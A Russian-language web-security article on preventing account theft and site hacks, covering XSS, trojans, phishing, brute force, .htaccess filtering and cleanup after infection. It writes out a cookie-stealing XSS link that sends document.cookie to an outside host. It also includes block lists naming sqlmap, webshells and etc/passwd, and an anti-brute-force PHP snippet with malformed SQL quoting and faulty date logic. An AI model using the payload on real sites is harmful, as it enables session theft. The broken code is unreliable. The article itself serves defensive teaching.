Профилактические методы защиты

Данная статья является продолжением прошлой нашей статьи. Точнее мы хотели в прошлый раз изложить все, но тема оказалась настолько обширной, что пришлось разделить статью на две части. 

Если вы не читали прошлой статьи, я вкратце расскажу, о чем она была. В ней рассказывалось о методах взлома, показывались практические примеры, как легко злоумышленник может получить доступ к вашему сайту и вашим паролям. Также упомянули, как защититься и почистить сайт после заражения. Но последнее упомянули вскользь, поверхностно, поэтому сегодня поправим этот момент и раскроем подробно тему профилактики взлома и чистки сайта после заражения.

Важно понимать, что взломанный сайт будет помечен поисковыми системами, как вредоносный, и мало того, что отпугнет посетителей, так и отложится у них в памяти. Поэтому далее мы рассмотрим способы защиты своего сайта или аккаунта от вредоносных методов злоумышленников.

Предупреждение поисковых систем о заражении сайта

Угон пароля

Очень распространенная практика для взлома сайтов и не только. Ежедневно десятками тысяч угоняются пароли у пользователей по всему миру. Почти у каждого есть почтовый ящик, аккаунт в социальной сети, а у кого-то собственный или корпоративный сайт. Порой пользователи сами отдают свои пароли, даже не задумываясь об этом. Эта глава будет посвящена защите от угона ваших паролей.

XSS

С помощью XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») злоумышленник может перехватить ваши куки и соответственно зайти в ваш аккаунт где вы авторизованы. Есть два способа, активный и пассивный.

Пассивный. Вам кидают ссылку, зачастую сокращенную, а в ней URL с кодом

http://site.ru/page.php?q=1"><script>img = new Image(); img.src = "http://site1.ru/hisbskHER8_1.gif?cookie="+document.cookie;</script>

В итоге ваши печеньки (cookie) уйдут в зрительный зал. После чего останется только подставить их и зайти вместо вас в ваш же аккаунт.

Активный. Злоумышленник нашел уязвимость на форуме и вставил аватарку картинку со сниффера, в итоге все, кто зашел в тему отдали свои данные.

Решение: уязвимость форума мы оставим на долю админа, но если нашли сами уязвимость, не пожалейте минуты времени, сообщите ему. Сами же смотрим перед переходом на URL, зачастую разница может быть в одной букве и на первый взгляд выглядеть обычным. Если ссылка сокращена сервисом сокращения ссылок, то есть два варианта. Сначала

  • проверить на вирусы - https://virustotal.com
  • посмотреть через сервис скриншотов, что там на странице – http://s-shot.ru
  • если вирусов не обнаружено, и контент нормально вроде отображается, то открываем через тор браузер, печеньки там не хранятся, воровать нечего

Может показаться долгим процессом, тратить 5 минут, чтобы зайти на сайт. Но просто вспомните, как часто вы переходите на сомнительные сайты? В большинстве случаев пользователи ежедневно посещают проверенные временем сайты, а на незнакомые заходят один-два раза за день, если серфинг по незнакомым сайта не является профессиональным занятием. И в итоге из-за экономии пары минут, потом можем тратить время и нервы на восстановление доступов к почте, сайту, другим аккаунтам.

Как происходит XSS атака

Троян

Троян — это программа, которая ворует ваши сохраненные пароли, а также ваш компьютер будет входить в состав ботнета и в любой момент может стать участником DDoS атаки.

Троян не обязательно выглядит, как exe файл. Его с помощью джойнера (программы склейщика) можно склеить с изображением, текстовым документом, архивом, и т.д. Главное это должен быть файл, который бы вы запустили и активировали трояна. После чего файл с вашими паролями отправится на сервер к злоумышленнику.

Решение:

  • Не сохраняйте пароли в браузерах!
  • Не открывайте незнакомые файлы без проверки на сайте https://virustotal.com/ даже присланные от друзей. В том числе и фото. Лучше уточните что это за фото или проверьте их перед открытием.
  • Установите антивирус и файрволл. Антивирус будет контролировать вашу файловую систему, а файрволл предотвратит утечку данных, даже при условии, что антивирус пропустил трояна.

Казалось бы, такие простые правила, но до сих пор на хакерских форумах продают десятками тысяч аккаунты, полученные с помощью троянов. Даже больше скажу, в отчетах трояна видно, что у пользователей стоят и запущены антивирусы, т.е. их предупредили, что там вирус, но они все равно их открывают. Делайте выводы.

Вирус троян

Фишинг

Фишинг – это рыбалка. Да, хакеры тоже люди и им тоже не чужды людские забавы. Только рыбачить они любят не только на водоеме, но и в пучинах сети Интернет. Закидывают сети, и ждут, когда рыбешка в них попадет. А рыбешка — это пользователь, который ввел свои данные в поля и нажал кнопку отправить, только данные ушли хакеру на сервер, т.к. это была поддельная страница.

Создается точная копия страницы авторизации, кидаются ссылки в людные места, или прогоняются хрумером по базе форумов. Анкор делается в виде https://vk.com/photo14234 и пользователь уверен, что идет смотреть фотки котиков или симпатичной девушки, а тут что-то авторизация слетела, не беда, вводим логин/пароль, жмем ОК и нас редиректит куда надо, а попутно и пароли наши отправляются на сервер к злоумышленнику.

В итоге мы не замечаем подмены, а пароли уже в базе хакера. Не знаю, работает сейчас ли спуфинг, но раньше встречались подобные случаи, когда подменялась адресная строка и было не отличить фишинговую страницу, от оригинала.

Решение:

Смотрим куда переходим. Да, уже выше был этот совет, но повторюсь, т.к. это единственный вариант не угодить в сети хакера. Возьмите за привычку смотреть в строку состояния, когда наводите на ссылку.

Если при переходе по известной ссылке, вас просят авторизоваться, не поленитесь, наберите в отдельной вкладке адрес сайта и если возникнет форма авторизации, то лучше авторизуйтесь там, и заново перейдите по ссылке. Страницы авторизации после этого не должно быть.

Как вариант, можно попробовать ввести «левые» данные, обычно хакеры не занимаются проверкой, им важен сам факт того, что вы ввели, и если вас переведет на нужную страницу, значит предыдущая, была фишинговой. Это не панацея, это лишь быстрый способ проверить та ли эта форма.

Фишинговая страница вконтакте

Социальная инженерия

В реальности это можно сравнить с цыганами, которые заболтав тебя, очистят тебе карманы.

На самом деле мы порой забываем о безопасности и выкладываем в открытый доступ довольно таки личную информацию. Когда-то давно регистрируя почтовый ящик, мы указали в качестве ответа на секретный вопрос любимое наше блюдо, а сейчас на форуме обсуждаем, как же мы сильно любим ризотто и как вкусно его приготовить. Не задумываясь о том, что мы даем злоумышленнику заветный ключик от своего аккаунта.

Вспоминается реальный случай, когда у девушки увели ящик почтовый, а через него и сайт, с помощью восстановления пароля через секретный вопрос. Вопрос был: кличка домашнего питомца. И у себя же на форуме в теме про любимых питомцев, она выложила ответ на этот вопрос.

Есть случаи, когда вам специально приходит рассылка с интересными сервисами, а в этом номере вам расскажут, как сделать классное семейное древо. Только перед тем, как его заполнять, вспомните, не стоит ли у вас секретный вопрос: девичья фамилия вашей матери?

Решение: в ответе на секретный вопрос не указывайте банальные вещи. Есть базы под стандартные ответы, это перечень блюд, фамилий, кличек животных и т.д. Если все же хочется указать кличку животного, добавьте к нему год рождения питомца. А лучше использовать значимое для вас слово, желательно на английском. И пусть на вопрос: ваше любимое блюдо будет ответ, ваш старый ник, используемый в компьютерных клубах – Devil666, зато такой подход позволит вам оставаться в безопасности.

Человеческий фактор при взломе

Брутфорс

Так мы плавно подошли к известному способу получения ваших паролей, как брутфорс. В брутфорсе есть два варианта, чтобы получить ваш аккаунт.

Перебор по словарям . Используются разные словари, в которых перечислены возможные пароли. Используются даже такие, в которых русские слова набраны в английской раскладке.

Перебор по символам . Это когда перебираются все известные комбинаций цифр, букв, спецсимволов. Полным перебором пользуются, когда перебор по словарям не дал результата. И данный вариант брутфорса может длится годами, в зависимости от сложности пароля.

Решение: как бы банально не звучало, но делайте сложные пароли. Допустим на какие-нибудь не профессиональные форумы или сервисы бесплатные не требуется придумывать уникальный и сложный пароль, там никто и не будет взламывать ваш аккаунт. А вот аккаунты от почты, сайтов, панелей хостинга или доменных сервисов, а также форумов где у вас есть репутация или должность модератора, советуем поставить сложный пароль.

Достаточно добавить буквы разных регистров, спецсимвол и цифру, и срок взлома увеличится в разы. Также советуем использовать минимум 12 символов . Если интересно, можете проверить надежность вашего пароля на сервисе https://howsecureismypassword.net/ это конечно не точные данные, но ориентироваться вполне можно.

Брутфорс аккаунта

Взлом сайта

Брутфорс

Теперь поговорим о брутфорсе вашего пароля на вашем же сайте. А если у вас раскрученный сервис или социальная сеть, то и ваших пользователей.

Решение: для того чтобы предотвратить брутфорса пароли на вашем сайте, нужно провести ряд мер.

  • Если у вас известная CMS поставить плагин/модуль, который бы банил IP адрес при 3-5 неудачных попытках.
  • Изменить URL страницы входа администратора со стандартного, на свой.
  • Поставить капчу на странице авторизации. Как автоматическую от Google например, так можно и выводить рандомно простые примеры 1+2, 5+4, 3+6 и т.д. Даже 10 таких легких примеров в сотни раз усложнят брутфорс, т.к. будут выводиться рандомно.
  • Если у вас нет возможности установить плагин/модуль для проверки количества проверок или не хотите обременять пользователей капчей, то можно использовать БД и небольшой скрипт для этого.

В БД создаем таблицу с 3 полями: айпи адрес, количество попыток и дата

CREATE TABLE `antibrutforce` ( 
    `ip` varchar(15) NOT NULL, 
    `col` int(2) NOT NULL, 
    `unban` int(1) default NULL, 
    PRIMARY KEY (`ip`)
)
ENGINE=MyISAM DEFAULT CHARSET=utf8; 

И собственно сам PHP код

<?php
//....
//выше происходит валидация отправленых данных

//если валидация прошла успешно,
if($error == '') { 
    //инициализируем подключение к БД
    //для работы с БД используется класс phpDatabase 2.1
    $dbh = new CDataBase(DB_BASE_NAME, DB_HOST, $DB_USER, $DB_PASSWORD);
    
    //проверяем, не в бане ли IP
    if ($res = $dbh->fetch_array($dbh->query('SELECT `unban` FROM `antibrutforce` WHERE `ip`="' . $_SERVER['REMOTE_ADDR'] . '"')) ) {

        //если этот IP уже есть в БД, то сравниваем значение поля unban и сегодняшний календарный день
        $unban = $res['unban'];
        $day = (int)date("d");

        if($day<$unban && $unban!=0) {
            //день разбана еще не наступил и в unban не 0 (значение по умолчанию)
            $error = 'Для Вашего IP исчерпан лемит попыток авторизации. Зайдите завтра.';
            require ('design/html/auth.html');
            die();
        }
    }

    //чистим таблицу банов от разбаненых при каждой попытке авторизации...
    $dbh->query('DELETE FROM `antibrutforce` WHERE `unban`<="' . (int)date("d") . '" AND `unban`>"0"');

    //....
    //дальше происходит проверка имени пользователя и пароля по базе данных...
    //...

    //если введен неправильный пароль, то:
    if ($res = $dbh->fetch_array($dbh->query('SELECT `col` FROM `antibrutforce` WHERE `ip`="' . $_SERVER['REMOTE_ADDR'] . '"'))) {
        //получаем количество совершенных попыток с этого ай пи
        $col = $res['col'];
        if($col < PASS_ATTEMPTS) {
            //если их меньше, чем константа PASS_ATTEMPTS (макс. колич. попыток)
            //то просто записываем в БД, что попыток стало на 1 больше
            $dbh->query('UPDATE `antibrutforce` SET `col` = "' . ($col+1) . '" WHERE `ip`="' . $_SERVER['REMOTE_ADDR'] . '"');

            //а в переменную $error добавляем сколько осталось, чтобы показать ее пользователю
            $error .= ' Осталось ' .(PASS_ATTEMPTS - $col). ' попыток.';
        }
        else //больше нет попыток - в бан на 1 день
        {
            $date = (int)date("d") + 1;
            $dbh->query('UPDATE `antibrutforce` SET `unban` = "' . $date . '" WHERE `ip`="' . $_SERVER['REMOTE_ADDR'].'"');
        }
    }
    else //если ip отсутствует в БД, добавляем его туда
    {
        $dbh->query('INSERT INTO `antibrutforce` ( `ip` , `col` , `unban` ) VALUES ("'. $_SERVER['REMOTE_ADDR'] .'", "1", ") ');
        $error .= ' Осталось ' .(PASS_ATTEMPTS - 1). ' попыток.';
    }
}

Спасибо за помощь -  http://blog.phpdreamer.ru/antibrutforce.html

Плагины

Зачастую взлом сайта происходит из-за сторонних плагинов/модулей/компонентов. Находят уязвимость и с помощью SQL инъекции добывают пароли, заливают шелл или исполняют свой код.

Решение: нужно пересмотреть свой набор плагинов, а также их рациональность их применения. Возможно, можно обойтись своими средствами, как например, не ставить плагин для слайдера, а использовать проверенный код JS и прописать все в коде. В итоге слайдер не обращается к БД и вы обезопасили себя в данном случае от SQL инъекции.

Также не забываем регулярно следить за актуальной версии плагинов и своевременно их обновлять.

Ну и не забываем следить за новыми уязвимостями плагинов. А при наличии 0day (Нет решения проблемы) уязвимости, возможно вообще отключить плагин до того момента, пока не найдут способа закрытия данной уязвимости.

Обновление CMS

Помимо плагинов, незабываем следить за версией CMS. Чем популярней движок сайта, тем больше для них уязвимостей и тем чаще они появляются. Под известные CMS пишутся автоматические скрипты, которые проверяют их на уязвимости.

Решение: следить за обновлениями и постоянно обновлять CMS сайта. Читать блоги разработчиков, обычно там в первую очередь сообщается об обновлениях. А также следить за сайтами с БД по уязвимостям.

Htaccess

С помощью .htaccess можно предотвратить множество атак. Как SQL инъекций, так и XSS атак. Поэтому грамотная настройка этого файла позволит вам не беспокоиться об атаках на ваш сайт.

Решение: вставляем дальнейшие правила в файл .htaccess

Защищаемся от sql инъекции, XSS атак

# 6G:[QUERY STRINGS]
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{QUERY_STRING} (eval\() [NC,OR]
    RewriteCond %{QUERY_STRING} (127\.0\.0\.1) [NC,OR]
    RewriteCond %{QUERY_STRING} ([a-z0-9]{2000,}) [NC,OR]
    RewriteCond %{QUERY_STRING} (javascript:)(.*)(;) [NC,OR]
    RewriteCond %{QUERY_STRING} (base64_encode)(.*)(\() [NC,OR]
    RewriteCond %{QUERY_STRING} (GLOBALS|REQUEST)(=|\[|%) [NC,OR]
    RewriteCond %{QUERY_STRING} (<|%3C)(.*)script(.*)(>|%3) [NC,OR]
    RewriteCond %{QUERY_STRING} (\\|\.\.\.|\.\./|~|`|<|>|\|) [NC,OR]
    RewriteCond %{QUERY_STRING} (boot\.ini|etc/passwd|self/environ) [NC,OR]
    RewriteCond %{QUERY_STRING} (thumbs?(_editor|open)?|tim(thumb)?)\.php [NC,OR]
    RewriteCond %{QUERY_STRING} (\'|\")(.*)(drop|insert|md5|select|union) [NC]
    RewriteRule .* - [F]
</IfModule>

Исключаем явно не нужные нам методы подключения

# 6G:[REQUEST METHOD]
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_METHOD} ^(connect|debug|move|put|trace|track) [NC]
    RewriteRule .* - [F]
</IfModule>

Отрубаем левые реферы

# 6G:[REFERRERS]
<IfModule mod_rewrite.c>
    RewriteCond %{HTTP_REFERER} ([a-z0-9]{2000,}) [NC,OR]
    RewriteCond %{HTTP_REFERER} (semalt.com|todaperfeita) [NC]
    RewriteRule .* - [F]
</IfModule>

Не пускаем в системные файлы и защищаем модуль алиас

# 6G:[REQUEST STRINGS]
<IfModule mod_alias.c>
    RedirectMatch 403 (?i)([a-z0-9]{2000,})
    RedirectMatch 403 (?i)(https?|ftp|php):/
    RedirectMatch 403 (?i)(base64_encode)(.*)(\()
    RedirectMatch 403 (?i)(=\\\'|=\\%27|/\\\'/?)\.
    RedirectMatch 403 (?i)/(\$(\&)?|\*|\"|\.|,|&|&amp;?)/?$
    RedirectMatch 403 (?i)(\{0\}|\(/\(|\.\.\.|\+\+\+|\\\"\\\")
    RedirectMatch 403 (?i)(~|`|<|>|:|;|,|%|\\|\s|\{|\}|\[|\]|\|)
    RedirectMatch 403 (?i)/(=|\$&|_mm|cgi-|etc/passwd|muieblack)
    RedirectMatch 403 (?i)(&pws=0|_vti_|\(null\)|\{\$itemURL\}|echo(.*)kae|etc/passwd|eval\(|self/environ)
    RedirectMatch 403 (?i)\.(aspx?|bash|bak?|cfg|cgi|dll|exe|git|hg|ini|jsp|log|mdb|out|sql|svn|swp|tar|rar|rdf)$
    RedirectMatch 403 (?i)/(^$|(wp-)?config|mobiquo|phpinfo|shell|sqlpatch|thumb|thumb_editor|thumbopen|timthumb|webshell)\.php
</IfModule>

Отсекаем коннект с плохими юзер агентами

# 6G:[USER AGENTS]
<IfModule mod_setenvif.c>
    SetEnvIfNoCase User-Agent ([a-z0-9]{2000,}) bad_bot
    SetEnvIfNoCase User-Agent (archive.org|binlar|casper|checkpriv|choppy|clshttp|cmsworld|diavol|dotbot|extract|feedfinder|flicky|g00g1e|harvest|heritrix|httrack|kmccrew|loader|miner|nikto|nutch|planetwork|postrank|purebot|pycurl|python|seekerspider|siclab|skygrid|sqlmap|sucker|turnit|vikspider|winhttp|xxxyy|youda|zmeu|zune) bad_bot
    
    # Apache < 2.3
    <IfModule !mod_authz_core.c>
        Order Allow,Deny
        Allow from all
        Deny from env=bad_bot
    </IfModule>

    # Apache >= 2.3
    <IfModule mod_authz_core.c>
        <RequireAll>
            Require all Granted
            Require not env bad_bot
        </RequireAll>
    </IfModule>
</IfModule>

Если вы знаете точный айпишник вредителя, можете его заблочить

# 6G:[BAD IPS]
<Limit GET HEAD OPTIONS POST PUT>
    Order Allow,Deny
    Allow from All
    # uncomment/edit/repeat next line to block IPs
    # Deny from 123.456.789
</Limit>

Рекомендую обратить внимание в первую очередь на код от sql инъекций, т.к. большинство сайтов ломают именно так.

Robots и права

Важно понимать, злоумышленники находят наш сайт с помощью дорков через поисковые системы. Дорк это кусок URL’а, который говорит о том, что в вашей CMS установлен тот или иной плагин.

Решение: закрываем от индексации все системные и технические папки и файлы. А также проверяем выставленные права. На папки должны быть выставлены 755 права, на файлы 644, а на важные системные файлы 444. К важным файлам относятся файлы конфигурации CMS, сервера, файлы, где хранятся пароли БД, ФТП.

Sitemap

Тоже самое касается и файла sitemap.xml, в который может попасть системные и технические URL вашего сайта.

Решение: проверяем визуально или с помощью поиска по файлу, не попало ли что лишнее в карту сайта.

Чистка сайта после заражения

Если ваш сайт все же взломали, то скорее всего в нем оставили шелл или другую лазейку, для того, чтобы в дальнейшем беспрепятственно проникнуть и прописать нужный код.

Для начала проверяем сайт с помощью скрипта Ai-Bolit. Скачать его можно здесь https://www.revisium.com/ai/

Проверять можно, как на хостинге, так и скачать бэкап, и проверить уже на компьютере. После проверки пройтись по всем подозрительным файлам и лично просмотреть код.

Также помощью программы PuTTY https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html можно выявить зараженные участки кода

Особое внимание уделить таким сигнатурам, как base64, , file_get_contents найти их можно используя следующие команды:

find /Директория сайта -type f -iname "*" -exec grep -Him1 "" {} \\; > ./.log
find / Директория сайта -type f -iname "*" -exec grep -Him1 "base64" {} \\; > ./base64.log
find / Директория сайта -type f -iname "*" -exec grep -Him1 "file_get_contents" {} \\; > ./file_get_contents.log

Все папки, в которые загружаются файлы создаем в них .htaccess, который либо делает

deny from all

либо запрещает вызов php

Options -Indexes php_flag engine 0 RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml

Заключение

Как мы уже поняли, что для безопасности нашего ресурса мало защитить сам сайт, но надо еще побеспокоиться, чтобы наши пароли и cookie не украли злоумышленники. Следуя нашим рекомендациям, вы сможете обезапасить себя и свой сайт. И напоследок:

  • Будьте внимательны - не переходите по незнакомым ссылкам, всегда ссмотрите в строку состояния бразура прежде, чем перейти по ссылке.
  • При скачивании незнакомого файла проверьте его через сервис https://virustotal.com/ 
  • Установите обязательно антивирус и файрволл
  • Защите свой сайт с помощью htaccess и поддержанием в актуальной версии своей CMS, и плагинов.